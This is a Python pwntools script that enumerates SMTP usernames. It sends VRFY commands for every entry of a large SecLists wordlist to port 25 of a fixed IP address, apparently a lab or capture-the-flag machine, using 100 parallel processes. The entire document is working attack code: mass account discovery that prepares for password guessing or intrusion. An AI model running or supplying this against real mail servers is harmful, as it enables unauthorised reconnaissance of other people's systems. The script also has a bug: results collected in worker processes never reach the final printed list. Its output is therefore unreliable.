from pwn import *
from tqdm import tqdm
from multiprocessing import Pool

context.log_level = 'error'

with open('/home/kali/SecLists/Usernames/xato-net-10-million-usernames.txt', 'rb') as f:
    usernames = f.readlines()

usernames = [x.decode(errors='ignore').strip() for x in usernames]
valid_usernames = []

def check_username(username):
    try:
        io = remote('10.129.233.100', '25')
        ret = io.recvline()
        io.sendline(f'VRFY {username}'.encode())
        ret = io.recvline()
        if b'252' in ret:
            print(f'Found: {username}')
            valid_usernames.append(username)
    except Exception as e:
        print(e)
        print(f'Error with username: {username}')

with Pool(100) as p:
    with tqdm(total=len(usernames)) as pbar:
        for _ in p.imap_unordered(check_username, usernames):
            pbar.update(1)
    print(valid_usernames)